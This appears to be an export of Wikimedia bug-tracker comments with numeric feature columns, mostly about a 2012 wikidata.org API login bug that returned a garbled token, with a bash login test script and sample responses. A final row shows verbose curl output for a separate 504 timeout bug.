Decreasing priority for the time being, as it's currently not reproducible as per comment 9 and 13.",,,1357815488,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,True,,,-33,True,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,6.0,0.0,9.0,18.0,3.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.8181818181818183,0.8787878787878788,"Merl:
Please check whether it works for you now.

Decreasing priority for the time being, as it's currently not reproducible as per comment 9 and 13."
193499,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","I have attached the test script provided by merl at https://www.wikidata.org/wiki/Wikidata:Contact_the_development_team/Archive/2012/12#API:_Login_doesn.27t_work.3F

Running it now, it seems to work:

bash ~/src/bug-41586.sh foo bar
<?xml version=""1.0""?><api><login result=""NeedToken"" token=""cd3f7d845bef68f23fd4f9f37f1c1fc7"" cookieprefix=""wikidatawiki"" sessionid=""8181ac1523df3d24ec18d1be4fec8153"" /></api>

<?xml version=""1.0""?><api><login result=""NotExists"" /></api> 


Please check whether it works for you now. Otherwise, we can close the bug. Would be nice to understand what was going on, though...",,,1357308227,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,False,,,-34,True,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,9.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,5.0,2.0,4.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,2.0,7.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,7.0,9.0,7.0,2.0,6.0,0.0,7.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,5.0,5.414634146341464,0.7560975609756098,"I have attached the test script provided by merl at URL

Running it now, it seems to work:

bash ~/src/bug-41586.sh foo bar
<?xml version=""1.0""?><api><login result=""NeedToken"" token=""cd3f7d845bef68f23fd4f9f37f1c1fc7"" cookieprefix=""wikidatawiki"" sessionid=""8181ac1523df3d24ec18d1be4fec8153"" /></api>

<?xml version=""1.0""?><api><login result=""NotExists"" /></api> 


Please check whether it works for you now. Otherwise, we can close the bug. Would be nice to understand what was going on, though..."
193491,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","Created attachment 11586
bash script for testing the API response

Provide any name and password as first and second parameters to check the token.

//attachment bug-41586.sh ignored as obsolete//",,,1357308097,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,False,,,-34,True,3.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,9.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,5.181818181818182,0.8787878787878788,"Created attachment 11586
bash script for testing the API response

Provide any name and password as first and second parameters to check the token.

//attachment bug-41586.sh ignored as obsolete//"
193479,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","(In reply to comment #8)
> Daniel: I didn't assign it on purpose, it's just the default assignee.

Ah, you changed the component, now I see.

> If it's a config issue I'll move it to ""Site requests"".

*If* it's a config issue - but I'm afraid we'll need some life-site-debugging to find that out.",,,1355754459,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,False,,,-37,True,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,4.0,2.0,0.0,0.0,6.0,0.0,2.0,10.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,4.0,2.0,4.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,14.0,2.0,2.0,8.0,0.0,0.0,0.0,2.0,6.0,2.0,2.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.9411764705882355,0.803921568627451,"(In reply to comment #8)
QUOTE

Ah, you changed the component, now I see.

QUOTE

*If* it's a config issue - but I'm afraid we'll need some life-site-debugging to find that out."
193473,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","(In reply to comment #9)
> I wonder if we in the beginning asked for a new token as we used a special
> itemtoken. 

Even then, the token would change, but it would not suddenly consist of invalid characters.",,,1355754308,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,False,,,-37,True,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,10.0,0.0,3.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5806451612903225,0.8709677419354839,"(In reply to comment #9)
QUOTE
QUOTE

Even then, the token would change, but it would not suddenly consist of invalid characters."
193472,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","I wonder if we in the beginning asked for a new token as we used a special itemtoken. That would reset the other tokens to. I think the code is gone now as we use the edittoken, but I'm not completly sure.

After checking the code I'm pretty sure its gone.",,,1355752385,,PHID-USER-vlni4mhyozor7ghqnfkl,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,False,,,-37,True,0.0,0.0,0.0,2.0,2.0,8.0,0.0,0.0,0.0,2.0,5.0,3.0,0.0,0.0,0.0,12.0,0.0,7.0,12.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,3.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,10.0,2.0,2.0,14.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,14.0,12.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,3.5084745762711864,0.6949152542372882,"I wonder if we in the beginning asked for a new token as we used a special itemtoken. That would reset the other tokens to. I think the code is gone now as we use the edittoken, but I'm not completly sure.

After checking the code I'm pretty sure its gone."
193471,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","Daniel: I didn't assign it on purpose, it's just the default assignee.
If it's a config issue I'll move it to ""Site requests"".",,,1355744712,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,True,,,-37,True,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,15.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,18.0,9.0,3.0,0.0,6.0,0.0,18.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.088235294117647,0.7941176470588235,"Daniel: I didn't assign it on purpose, it's just the default assignee.
If it's a config issue I'll move it to ""Site requests""."
193470,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","@andre: assigning this to wikidata-bugs is not helpful, since it doesn't seem to be a problem with the Wikibase software. This issue is not present on any other system running Wikibase, and Wikibase doesn't mess with the login process or tokens. This seems to be a configuration issue, or some oddity related to having a wiki with no subdomain.

In any case, we at the very least need help from someone with shell access for debugging this. So I think it makes sense to keep this on wikibugs-l.",,,1355734493,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,False,,,-37,True,2.5,1.0,1.0,0.0,2.0,4.5,2.5,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,2.0,0.0,4.0,12.5,1.0,2.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,4.5,2.0,1.5,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.5,1.5,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.5,0.0,1.0,0.0,1.0,0.0,0.0,0.0,4.5,2.5,6.0,0.5,2.0,11.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,3.5,12.5,1.5,0.0,0.0,0.0,3.5,0.0,0.0,2.5,0.0,3.0,0.0,1.0,0.0,3.9711538461538463,0.8173076923076923,"SCREEN_NAME: assigning this to wikidata-bugs is not helpful, since it doesn't seem to be a problem with the Wikibase software. This issue is not present on any other system running Wikibase, and Wikibase doesn't mess with the login process or tokens. This seems to be a configuration issue, or some oddity related to having a wiki with no subdomain.

In any case, we at the very least need help from someone with shell access for debugging this. So I think it makes sense to keep this on wikibugs-l."
193469,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","Test script:

#!/bin/bash
#FILENAME: login.sh
#USAGE: login.sh USERNAME PASSWORD DOMAIN
USERNAME=""$1""
PASSWD=""$2""
DOMAIN=""${3:-www.wikidata.org}""
 
RESP1=`wget -qO- --no-cookies --user-agent=LOGIN --post-data ""action=login&lgname=${USERNAME}&lgpassword=${PASSWD}&format=xml"" http://${DOMAIN}/w/api.php`
echo ""${RESP1}""
TOKEN=`echo ""${RESP1}"" | sed -ne '/<login/ { s/.*token=""\([^""]*\)"".*/\1/; p }'`
SESSIONID=`echo ""${RESP1}"" | sed -ne '/<login/ { s/.*sessionid=""\([^""]*\)"".*/\1/; p }'`
COOKIEPREFIX=`echo ""${RESP1}"" | sed -ne '/<login/ { s/.*cookieprefix=""\([^""]*\)"".*/\1/; p }'`
 
wget -qO- --no-cookies --user-agent=LOGIN --post-data ""action=login&lgname=${USERNAME}&lgpassword=${PASSWD}&lgtoken=${TOKEN}&format=xml"" --header ""Cookie: ${COOKIEPREFIX}_session=${SESSIONID}"" http://${DOMAIN}/w/api.php


----
works on dewiki:
 $ bash login.sh MerlIwBot XXX de.wikipedia.org
 <?xml version=""1.0""?><api><login result=""NeedToken"" token=""1b0e04d8ec9cd7f28210e2fe8c1cad86"" cookieprefix=""dewiki"" sessionid=""67c2c8150e3fa887e86d3e9b19722449"" /></api>
 <?xml version=""1.0""?><api><login result=""Success"" lguserid=""1234"" lgusername=""MerlIwBot"" lgtoken=""7874ac3a1851e9f93af3912bf4b00d6b"" cookieprefix=""dewiki"" sessionid=""67c2c8150e3fa887e86d3e9b19722449"" /></api>
 
invalid lgtoken on wikidata.org:
 $ bash login.sh MerlIwBot XXX www.wikidata.org
 <?xml version=""1.0""?><api><login result=""NeedToken"" token=""da90161c74826a5629029fc857970660"" cookieprefix=""wikidatawiki"" sessionid=""92b3e5f5e6cdd7145516732b79ca5845"" /></api>
 <?xml version=""1.0""?><api><login result=""Success"" lguserid=""1234"" lgusername=""MerlIwBot"" lgtoken=""��������������������������������"" cookieprefix=""wikidatawiki"" sessionid=""92b3e5f5e6cdd7145516732b79ca5845"" /></api>",,,1355485374,,PHID-USER-rbcxdzszrm6s4izt67kj,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,False,,,-37,True,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,12.333333333333334,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,1.0,1.3333333333333333,0.0,1.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,28.333333333333332,1.6666666666666667,11.333333333333334,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,4.0,5.9667449139280135,0.4828508085550339,"Test script:

#!/bin/bash
#FILENAME: login.sh
#USAGE: login.sh USERNAME PASSWORD DOMAIN
USERNAME=""$1""
PASSWD=""$2""
DOMAIN=""${3:-www.wikidata.org}""
 
RESP1=CODE
echo ""${RESP1}""
TOKEN=CODE
SESSIONID=CODE
COOKIEPREFIX=CODE
 
wget -qO- --no-cookies --user-agent=LOGIN --post-data ""action=login&lgname=${USERNAME}&lgpassword=${PASSWD}&lgtoken=${TOKEN}&format=xml"" --header ""Cookie: ${COOKIEPREFIX}_session=${SESSIONID}"" URL


----
works on dewiki:
 $ bash login.sh MerlIwBot XXX de.wikipedia.org
 <?xml version=""1.0""?><api><login result=""NeedToken"" token=""1b0e04d8ec9cd7f28210e2fe8c1cad86"" cookieprefix=""dewiki"" sessionid=""67c2c8150e3fa887e86d3e9b19722449"" /></api>
 <?xml version=""1.0""?><api><login result=""Success"" lguserid=""1234"" lgusername=""MerlIwBot"" lgtoken=""7874ac3a1851e9f93af3912bf4b00d6b"" cookieprefix=""dewiki"" sessionid=""67c2c8150e3fa887e86d3e9b19722449"" /></api>
 
invalid lgtoken on wikidata.org:
 $ bash login.sh MerlIwBot XXX www.wikidata.org
 <?xml version=""1.0""?><api><login result=""NeedToken"" token=""da90161c74826a5629029fc857970660"" cookieprefix=""wikidatawiki"" sessionid=""92b3e5f5e6cdd7145516732b79ca5845"" /></api>
 <?xml version=""1.0""?><api><login result=""Success"" lguserid=""1234"" lgusername=""MerlIwBot"" lgtoken=""��������������������������������"" cookieprefix=""wikidatawiki"" sessionid=""92b3e5f5e6cdd7145516732b79ca5845"" /></api>"
193468,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","I can reproduce the problem now for wikidata.org. The token is returned correctly as an HTTP header it seems, but not in the response body. The same request works fine on en.wikipedia.org and also with my local install with wikibase enabled. 

There must be something odd going on during token creation, but I have no idea what.",,,1355485245,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,False,,,-37,True,0.0,2.0,0.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,5.0,0.0,8.0,12.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,3.0,9.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,12.0,3.0,0.0,0.0,0.0,6.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,2.0,4.25,0.828125,"I can reproduce the problem now for wikidata.org. The token is returned correctly as an HTTP header it seems, but not in the response body. The same request works fine on en.wikipedia.org and also with my local install with wikibase enabled. 

There must be something odd going on during token creation, but I have no idea what."
193466,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header",reopening based on comments at http://www.wikidata.org/wiki/Wikidata:Contact_the_development_team#API:_Login_doesn.27t_work.3F,,,1355483984,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,True,,,-37,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,4.833333333333333,1.0,reopening based on comments at URL
193463,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","Using the API sandbox, I can request a token without any problems: 

http://www.wikidata.org/wiki/Special:ApiSandbox#action=login&format=json&lgname=Foo&lgpassword=Bar

(no, that's not my password. It will generate a valid token anyway).

Closing WFM. Please supply a minimal test case to reproduce the issue if you want to reopoen it.",,,1351713976,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,False,,,-43,True,2.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,4.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,14.0,2.0,0.0,12.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,9.0,7.0,5.0,0.0,0.0,0.0,9.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,3.5714285714285716,0.8035714285714286,"Using the API sandbox, I can request a token without any problems: 

URL

(no, that's not my password. It will generate a valid token anyway).

Closing WFM. Please supply a minimal test case to reproduce the issue if you want to reopoen it."
193457,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","If i am additionally using centralauth cookie (read from header instead builded from api response) it works for me, too. But not without centralauth cookie as it is described at http://www.mediawiki.org/wiki/API:Login#How_to_log_in",,,1351706943,,PHID-USER-rbcxdzszrm6s4izt67kj,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,False,,,-43,True,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,20.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,20.0,6.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,4.314285714285714,0.8857142857142857,"If i am additionally using centralauth cookie (read from header instead builded from api response) it works for me, too. But not without centralauth cookie as it is described at URL"
193450,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","WFM

""<?xml version=\""1.0\""?><api><login result=\""Success\"" lguserid=\""2\"" lgusername=\""Reedy\"" lgtoken=\""3e07eb6f2406cf44c5f222884aa0ac83\"" cookieprefix=\""wikidatawiki\"" sessionid=\""09cdced66371121d024c7082f8a0c0f4\"" /></api>""",,,1351701129,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,True,,,-43,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,23.0,5.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.954545454545455,0.6818181818181818,"WFM

""<?xml version=\""1.0\""?><api><login result=\""Success\"" lguserid=\""2\"" lgusername=\""Reedy\"" lgtoken=\""3e07eb6f2406cf44c5f222884aa0ac83\"" cookieprefix=\""wikidatawiki\"" sessionid=\""09cdced66371121d024c7082f8a0c0f4\"" /></api>"""
43224,HTTP/1.1 504 Gateway Time-out on http://www.wikipedia.org/wiki/ when 'User-Agent: iPhone' is set,"$ curl -v -H 'User-Agent: iPhone' http://www.wikipedia.org/wiki/
* About to connect() to www.wikipedia.org port 80 (#0)
*   Trying 2620:0:861:ed1a::1...
* connected
* Connected to www.wikipedia.org (2620:0:861:ed1a::1) port 80 (#0)
> GET /wiki/ HTTP/1.1
> Host: www.wikipedia.org
> Accept: */*
> User-Agent: iPhone
> 
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* HTTP 1.1 or later with persistent connection, pipelining supported
< HTTP/1.1 504 Gateway Time-out
< Server: nginx/0.7.65
< Date: Fri, 19 Oct 2012 20:29:48 GMT
< Content-Type: text/html
< Content-Length: 183
< Connection: keep-alive
< 
<html>
